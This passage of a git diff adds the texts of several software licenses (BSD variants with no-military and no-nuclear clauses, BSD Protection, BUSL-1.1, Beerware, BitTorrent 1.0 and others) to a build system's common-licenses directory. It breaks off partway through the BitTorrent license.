+You are under no obligation whatsoever to provide any bug fixes, patches, or upgrades to the features, functionality or performance of the source code ("Enhancements") to anyone; however, if you choose to make your Enhancements available either publicly, or directly to Lawrence Berkeley National Laboratory, without imposing a separate written license agreement for such Enhancements, then you hereby grant the following license: a non-exclusive, royalty-free perpetual license to install, use, modify, prepare derivative works, incorporate into other computer software, distribute, and sublicense such Enhancements or derivative works thereof, in binary and source code form.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Modification b/meta/files/common-licenses/BSD-3-Clause-Modification
new file mode 100644
index 0000000000..4e337d7dbd
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Modification
@@ -0,0 +1,35 @@
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+1. Redistributions in source code must retain the accompanying
+ copyright notice, this list of conditions, and the following
+ disclaimer.
+
+2. Redistributions in binary form must reproduce the accompanying
+ copyright notice, this list of conditions, and the following
+ disclaimer in the documentation and/or other materials provided
+ with the distribution.
+
+3. Names of the copyright holders must not be used to endorse or
+ promote products derived from this software without prior
+ written permission from the copyright holders.
+
+4. If any files are modified, you must cause the modified files to
+ carry prominent notices stating that you changed the files and
+ the date of any change.
+
+Disclaimer
+
+ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS "AS IS" AND
+ ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
+ TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
+ PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ HOLDERS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
+ TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
+ ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
+ TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF
+ THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Military-License b/meta/files/common-licenses/BSD-3-Clause-No-Military-License
new file mode 100644
index 0000000000..e06aa93b51
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Military-License
@@ -0,0 +1,16 @@
+Copyright (c) year copyright holder. All Rights Reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1.
+Redistribution of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2.
+Redistribution in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3.
+Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+YOU ACKNOWLEDGE THAT THIS SOFTWARE IS NOT DESIGNED, LICENSED OR INTENDED FOR USE IN THE DESIGN, CONSTRUCTION, OPERATION OR MAINTENANCE OF ANY MILITARY FACILITY.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License
new file mode 100644
index 0000000000..b37aa3058a
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License
@@ -0,0 +1,14 @@
+
+Copyright 1994-2009 Sun Microsystems, Inc. All Rights Reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistribution of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistribution in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * Neither the name of Sun Microsystems, Inc. or the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+This software is provided "AS IS," without a warranty of any kind. ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT, ARE HEREBY EXCLUDED. SUN MICROSYSTEMS, INC. ("SUN") AND ITS LICENSORS SHALL NOT BE LIABLE FOR ANY DAMAGES SUFFERED BY LICENSEE AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THIS SOFTWARE OR ITS DERIVATIVES. IN NO EVENT WILL SUN OR ITS LICENSORS BE LIABLE FOR ANY LOST REVENUE, PROFIT OR DATA, OR FOR DIRECT, INDIRECT, SPECIAL, CONSEQUENTIAL, INCIDENTAL OR PUNITIVE DAMAGES, HOWEVER CAUSED AND REGARDLESS OF THE THEORY OF LIABILITY, ARISING OUT OF THE USE OF OR INABILITY TO USE THIS SOFTWARE, EVEN IF SUN HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+You acknowledge that this software is not designed, licensed or intended for use in the design, construction, operation or maintenance of any nuclear facility.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-2014 b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-2014
new file mode 100644
index 0000000000..315c6d64c7
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-License-2014
@@ -0,0 +1,16 @@
+
+Copyright © 2008, 2014 Oracle and/or its affiliates. All rights reserved.
+
+Use is subject to license terms.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ * Neither the name of Oracle Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+You acknowledge that this software is not designed, licensed or intended for use in the design, construction, operation or maintenance of any nuclear facility.
diff --git a/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty
new file mode 100644
index 0000000000..17457e6769
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-No-Nuclear-Warranty
@@ -0,0 +1,14 @@
+
+Copyright (c) 2003-2005 Sun Microsystems, Inc. All Rights Reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ - Redistribution of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ - Redistribution in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+ - Neither the name of Sun Microsystems, Inc. or the names of contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+This software is provided "AS IS," without a warranty of any kind. ALL EXPRESS OR IMPLIED CONDITIONS, REPRESENTATIONS AND WARRANTIES, INCLUDING ANY IMPLIED WARRANTY OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR NON-INFRINGEMENT, ARE HEREBY EXCLUDED. SUN MICROSYSTEMS, INC. ("SUN") AND ITS LICENSORS SHALL NOT BE LIABLE FOR ANY DAMAGES SUFFERED BY LICENSEE AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THIS SOFTWARE OR ITS DERIVATIVES. IN NO EVENT WILL SUN OR ITS LICENSORS BE LIABLE FOR ANY LOST REVENUE, PROFIT OR DATA, OR FOR DIRECT, INDIRECT, SPECIAL, CONSEQUENTIAL, INCIDENTAL OR PUNITIVE DAMAGES, HOWEVER CAUSED AND REGARDLESS OF THE THEORY OF LIABILITY, ARISING OUT OF THE USE OF OR INABILITY TO USE THIS SOFTWARE, EVEN IF SUN HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+You acknowledge that this software is not designed or intended for use in the design, construction, operation or maintenance of any nuclear facility.
diff --git a/meta/files/common-licenses/BSD-3-Clause-Open-MPI b/meta/files/common-licenses/BSD-3-Clause-Open-MPI
new file mode 100644
index 0000000000..166a95b130
--- /dev/null
+++ b/meta/files/common-licenses/BSD-3-Clause-Open-MPI
@@ -0,0 +1,34 @@
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are
+met:
+
+- Redistributions of source code must retain the above copyright
+ notice, this list of conditions and the following disclaimer.
+
+- Redistributions in binary form must reproduce the above copyright
+ notice, this list of conditions and the following disclaimer listed
+ in this license in the documentation and/or other materials
+ provided with the distribution.
+
+- Neither the name of the copyright holders nor the names of its
+ contributors may be used to endorse or promote products derived from
+ this software without specific prior written permission.
+
+The copyright holders provide no reassurances that the source code
+provided does not infringe any patent, copyright, or any other
+intellectual property rights of third parties. The copyright holders
+disclaim any liability to any recipient for claims brought against
+recipient by any third party for infringement of that parties
+intellectual property rights.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-4-Clause-Shortened b/meta/files/common-licenses/BSD-4-Clause-Shortened
new file mode 100644
index 0000000000..6812783d5f
--- /dev/null
+++ b/meta/files/common-licenses/BSD-4-Clause-Shortened
@@ -0,0 +1,13 @@
+License: BSD-4-Clause-Shortened
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that:
+
+(1) source code distributions retain the above copyright notice and this paragraph in its entirety,
+(2) distributions including binary code include the above copyright notice and this paragraph in its entirety in the documentation or other materials provided with the distribution, and
+(3) all advertising materials mentioning features or use of this software display the following acknowledgement:
+
+"This product includes software developed by the University of California, Lawrence Berkeley Laboratory and its contributors.''
+
+Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
diff --git a/meta/files/common-licenses/BSD-4-Clause-UC b/meta/files/common-licenses/BSD-4-Clause-UC
new file mode 100644
index 0000000000..69edbe3242
--- /dev/null
+++ b/meta/files/common-licenses/BSD-4-Clause-UC
@@ -0,0 +1,15 @@
+BSD-4-Clause (University of California-Specific)
+
+Copyright [various years] The Regents of the University of California. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. All advertising materials mentioning features or use of this software must display the following acknowledgement: This product includes software developed by the University of California, Berkeley and its contributors.
+
+4. Neither the name of the University nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BSD-Protection b/meta/files/common-licenses/BSD-Protection
new file mode 100644
index 0000000000..73820813ff
--- /dev/null
+++ b/meta/files/common-licenses/BSD-Protection
@@ -0,0 +1,53 @@
+BSD Protection License
+February 2002
+
+Preamble
+--------
+
+The Berkeley Software Distribution ("BSD") license has proven very effective over the years at allowing for a wide spread of work throughout both commercial and non-commercial products. For programmers whose primary intention is to improve the general quality of available software, it is arguable that there is no better license than the BSD license, as it permits improvements to be used wherever they will help, without idealogical or metallic constraint.
+
+This is of particular value to those who produce reference implementations of proposed standards: The case of TCP/IP clearly illustrates that freely and universally available implementations leads the rapid acceptance of standards -- often even being used instead of a de jure standard (eg, OSI network models).
+
+With the rapid proliferation of software licensed under the GNU General Public License, however, the continued success of this role is called into question. Given that the inclusion of a few lines of "GPL-tainted" work into a larger body of work will result in restricted distribution -- and given that further work will likely build upon the "tainted" portions, making them difficult to remove at a future date -- there are inevitable circumstances where authors would, in order to protect their goal of providing for the widespread usage of their work, wish to guard against such "GPL-taint".
+
+In addition, one can imagine that companies which operate by producing and selling (possibly closed-source) code would wish to protect themselves against the rise of a GPL-licensed competitor. While under existing licenses this would mean not releasing their code under any form of open license, if a license existed under which they could incorporate any improvements back into their own (commercial) products then they might be far more willing to provide for non-closed distribution.
+
+For the above reasons, we put forth this "BSD Protection License": A license designed to retain the freedom granted by the BSD license to use licensed works in a wide variety of settings, both non-commercial and commercial, while protecting the work from having future contributors restrict that freedom.
+
+The precise terms and conditions for copying, distribution, and modification follow.
+
+BSD PROTECTION LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION, AND MODIFICATION
+----------------------------------------------------------------
+
+0. Definitions.
+
+ a) "Program", below, refers to any program or work distributed under the terms of this license.
+ b) A "work based on the Program", below, refers to either the Program or any derivative work under copyright law.
+ c) "Modification", below, refers to the act of creating derivative works.
+ d) "You", below, refers to each licensee.
+
+1. Scope.
+This license governs the copying, distribution, and modification of the Program. Other activities are outside the scope of this license; The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program.
+
+2. Verbatim copies.
+You may copy and distribute verbatim copies of the Program as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.
+
+3. Modification and redistribution under closed license.
+You may modify your copy or copies of the Program, and distribute the resulting derivative works, provided that you meet the following conditions:
+
+ a) The copyright notice and disclaimer on the Program must be reproduced and included in the source code, documentation, and/or other materials provided in a manner in which such notices are normally distributed.
+ b) The derivative work must be clearly identified as such, in order that it may not be confused with the original work.
+ c) The license under which the derivative work is distributed must expressly prohibit the distribution of further derivative works.
+
+4. Modification and redistribution under open license.
+You may modify your copy or copies of the Program, and distribute the resulting derivative works, provided that you meet the following conditions:
+
+ a) The copyright notice and disclaimer on the Program must be reproduced and included in the source code, documentation, and/or other materials provided in a manner in which such notices are normally distributed.
+ b) You must clearly indicate the nature and date of any changes made to the Program. The full details need not necessarily be included in the individual modified files, provided that each modified file is clearly marked as such and instructions are included on where the full details of the modifications may be found.
+ c) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.
+
+5. Implied acceptance.
+You may not copy or distribute the Program or any derivative works except as expressly provided under this license. Consequently, any such action will be taken as implied acceptance of the terms of this license.
+
+6. NO WARRANTY.
+THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT, EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
diff --git a/meta/files/common-licenses/BSD-Source-Code b/meta/files/common-licenses/BSD-Source-Code
new file mode 100644
index 0000000000..c41fc42733
--- /dev/null
+++ b/meta/files/common-licenses/BSD-Source-Code
@@ -0,0 +1,10 @@
+Copyright (c) 2011, Deusty, LLC
+All rights reserved.
+
+Redistribution and use of this software in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ * Neither the name of Deusty nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission of Deusty, LLC.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/BUSL-1.1 b/meta/files/common-licenses/BUSL-1.1
new file mode 100644
index 0000000000..86d5e5b56d
--- /dev/null
+++ b/meta/files/common-licenses/BUSL-1.1
@@ -0,0 +1,72 @@
+Business Source License 1.1
+
+License text copyright © 2017 MariaDB Corporation Ab, All Rights Reserved.
+"Business Source License" is a trademark of MariaDB Corporation Ab.
+
+Terms
+
+The Licensor hereby grants you the right to copy, modify, create derivative
+works, redistribute, and make non-production use of the Licensed Work. The
+Licensor may make an Additional Use Grant, above, permitting limited
+production use.
+
+Effective on the Change Date, or the fourth anniversary of the first publicly
+available distribution of a specific version of the Licensed Work under this
+License, whichever comes first, the Licensor hereby grants you rights under
+the terms of the Change License, and the rights granted in the paragraph
+above terminate.
+
+If your use of the Licensed Work does not comply with the requirements
+currently in effect as described in this License, you must purchase a
+commercial license from the Licensor, its affiliated entities, or authorized
+resellers, or you must refrain from using the Licensed Work.
+
+All copies of the original and modified Licensed Work, and derivative works
+of the Licensed Work, are subject to this License. This License applies
+separately for each version of the Licensed Work and the Change Date may vary
+for each version of the Licensed Work released by Licensor.
+
+You must conspicuously display this License on each original or modified copy
+of the Licensed Work. If you receive the Licensed Work in original or
+modified form from a third party, the terms and conditions set forth in this
+License apply to your use of that work.
+
+Any use of the Licensed Work in violation of this License will automatically
+terminate your rights under this License for the current and all other
+versions of the Licensed Work.
+
+This License does not grant you any right in any trademark or logo of
+Licensor or its affiliates (provided that you may use a trademark or logo of
+Licensor as expressly required by this License).
+
+TO THE EXTENT PERMITTED BY APPLICABLE LAW, THE LICENSED WORK IS PROVIDED ON
+AN “AS IS” BASIS. LICENSOR HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS,
+EXPRESS OR IMPLIED, INCLUDING (WITHOUT LIMITATION) WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, AND
+TITLE.
+
+MariaDB hereby grants you permission to use this License’s text to license
+your works, and to refer to it using the trademark “Business Source License”,
+as long as you comply with the Covenants of Licensor below.
+
+Covenants of Licensor
+
+In consideration of the right to use this License’s text and the “Business
+Source License” name and trademark, Licensor covenants to MariaDB, and to all
+other recipients of the licensed work to be provided by Licensor:
+
+1. To specify as the Change License the GPL Version 2.0 or any later version,
+ or a license that is compatible with GPL Version 2.0 or a later version,
+ where “compatible” means that software provided under the Change License can
+ be included in a program with software provided under GPL Version 2.0 or a
+ later version. Licensor may specify additional Change Licenses without
+ limitation.
+
+2. To either: (a) specify an additional grant of rights to use that does not
+ impose any additional restriction on the right granted in this License, as
+ the Additional Use Grant; or (b) insert the text “None”.
+
+3. To specify a Change Date.
+
+4. Not to modify this License in any other way.
+
diff --git a/meta/files/common-licenses/Bahyph b/meta/files/common-licenses/Bahyph
new file mode 100644
index 0000000000..a42e875ac3
--- /dev/null
+++ b/meta/files/common-licenses/Bahyph
@@ -0,0 +1,11 @@
+COPYRIGHT NOTICE
+
+These patterns and the generating sh script are Copyright (c) GMV 1991
+
+These patterns were developed for internal GMV use and are made public in the hope that they will benefit others. Also, spreading these patterns throughout the Spanish-language TeX community is expected to provide back-benefits to GMV in that it can help keeping GMV in the mainstream of spanish users.
+
+However, this is given for free and WITHOUT ANY WARRANTY. Under no circumstances can Julio Sanchez, GMV, Jos'e A. Ma~nas or any agents or representatives thereof be held responsible for any errors in this software nor for any damages derived from its use, even in case any of the above has been notified of the possibility of such damages. If any such situation arises, you responsible for repair. Use of this software is an explicit acceptance of these conditions.
+
+You can use this software for any purpose. You cannot delete this copyright notice. If you change this software, you must include comments explaining who, when and why. You are kindly requested to send any changes to tex@gmv.es. If you change the generating script, you must include code in it such that any output is clearly labeled as generated by a modified script. Despite the lack of warranty, we would like to hear about any problem you find. Please report problems to tex@gmv.es.
+
+END OF COPYRIGHT NOTICE
diff --git a/meta/files/common-licenses/Barr b/meta/files/common-licenses/Barr
new file mode 100644
index 0000000000..07f32df0ed
--- /dev/null
+++ b/meta/files/common-licenses/Barr
@@ -0,0 +1 @@
+This is a package of commutative diagram macros built on top of Xy-pic by Michael Barr (email: barr@barrs.org). Its use is unrestricted. It may be freely distributed, unchanged, for non-commercial or commercial use. If changed, it must be renamed. Inclusion in a commercial software package is also permitted, but I would appreciate receiving a free copy for my personal examination and use. There are no guarantees that this package is good for anything. I have tested it with LaTeX 2e, LaTeX 2.09 and Plain TeX. Although I know of no reason it will not work with AMSTeX, I have not tested it.
diff --git a/meta/files/common-licenses/Beerware b/meta/files/common-licenses/Beerware
new file mode 100644
index 0000000000..c7ffc1a04e
--- /dev/null
+++ b/meta/files/common-licenses/Beerware
@@ -0,0 +1 @@
+"THE BEER-WARE LICENSE" (Revision 42): <phk@FreeBSD.ORG> wrote this file. As long as you retain this notice you can do whatever you want with this stuff. If we meet some day, and you think this stuff is worth it, you can buy me a beer in return Poul-Henning Kamp
diff --git a/meta/files/common-licenses/BitTorrent-1.0 b/meta/files/common-licenses/BitTorrent-1.0
new file mode 100644
index 0000000000..16e3b9a647
--- /dev/null
+++ b/meta/files/common-licenses/BitTorrent-1.0
@@ -0,0 +1,330 @@
+BitTorrent Open Source License
+
+Version 1.0
+
+This BitTorrent Open Source License (the "License") applies to the BitTorrent client and related software products as
+well as any updates or maintenance releases of that software ("BitTorrent Products") that are distributed by
+BitTorrent, Inc. ("Licensor"). Any BitTorrent Product licensed pursuant to this License is a Licensed Product.
+Licensed Product, in its entirety, is protected by U.S. copyright law. This License identifies the terms under which
+you may use, copy, distribute or modify Licensed Product.
+
+Preamble
+
+This Preamble is intended to describe, in plain English, the nature and scope of this License. However, this
+Preamble is not a part of this license. The legal effect of this License is dependent only upon the terms of the
+License and not this Preamble.
+
+This License complies with the Open Source Definition and is derived from the Jabber Open Source License 1.0 (the
+"JOSL"), which has been approved by Open Source Initiative. Sections 4(c) and 4(f)(iii) from the JOSL have been
+dropped.
+
+This License provides that:
+
+1. You may use, sell or give away the Licensed Product, alone or as a component of an aggregate software
+distribution containing programs from several different sources. No royalty or other fee is required.
+
+2. Both Source Code and executable versions of the Licensed Product, including Modifications made by previous
+Contributors, are available for your use. (The terms "Licensed Product," "Modifications," "Contributors" and "Source
+Code" are defined in the License.)
+
+3. You are allowed to make Modifications to the Licensed Product, and you can create Derivative Works from it.
+(The term "Derivative Works" is defined in the License.)
+
+4. By accepting the Licensed Product under the provisions of this License, you agree that any Modifications you
+make to the Licensed Product and then distribute are governed by the provisions of this License. In particular, you
+must make the Source Code of your Modifications available to others.
+
+5. You may use the Licensed Product for any purpose, but the Licensor is not providing you any warranty
+whatsoever, nor is the Licensor accepting any liability in the event that the Licensed Product doesn't work properly
+or causes you any injury or damages.
+
+6. If you sublicense the Licensed Product or Derivative Works, you may charge fees for warranty or support, or
+for accepting indemnity or liability obligations to your customers. You cannot charge for the Source Code.
+
+7. If you assert any patent claims against the Licensor relating to the Licensed Product, or if you breach any
+terms of the License, your rights to the Licensed Product under this License automatically terminate.
+
+You may use this License to distribute your own Derivative Works, in which case the provisions of this License will
+apply to your Derivative Works just as they do to the original Licensed Product.
+
+Alternatively, you may distribute your Derivative Works under any other OSI-approved Open Source license, or under a
+proprietary license of your choice. If you use any license other than this License, however, you must continue to
+fulfill the requirements of this License (including the provisions relating to publishing the Source Code) for those
+portions of your Derivative Works that consist of the Licensed Product, including the files containing Modifications.
+
+New versions of this License may be published from time to time. You may choose to continue to use the license
+terms in this version of the License or those from the new version. However, only the Licensor has the right to
+change the License terms as they apply to the Licensed Product.
+
+This License relies on precise definitions for certain terms. Those terms are defined when they are first used, and
+the definitions are repeated for your convenience in a Glossary at the end of the License.
+
+
+License Terms
+
+1. Grant of License From Licensor. Licensor hereby grants you a world-wide, royalty-free, non-exclusive
+license, subject to third party intellectual property claims, to do the following:
+
+a. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by such
+Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as
+part of Derivative Works.
+
+b. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for
+sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any
+such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of
+Modifications or portions thereof or Derivative Works thereof.
+
+
+2. Grant of License to Modifications From Contributor. "Modifications" means any additions to or deletions from the
+substance or structure of (i) a file containing Licensed Product, or (ii) any new file that contains any part of
+Licensed Product. Hereinafter in this License, the term "Licensed Product" shall include all previous Modifications
+that you receive from any Contributor. By application of the provisions in Section 4(a) below, each person or entity
+who created or contributed to the creation of, and distributed, a Modification (a "Contributor") hereby grants you a
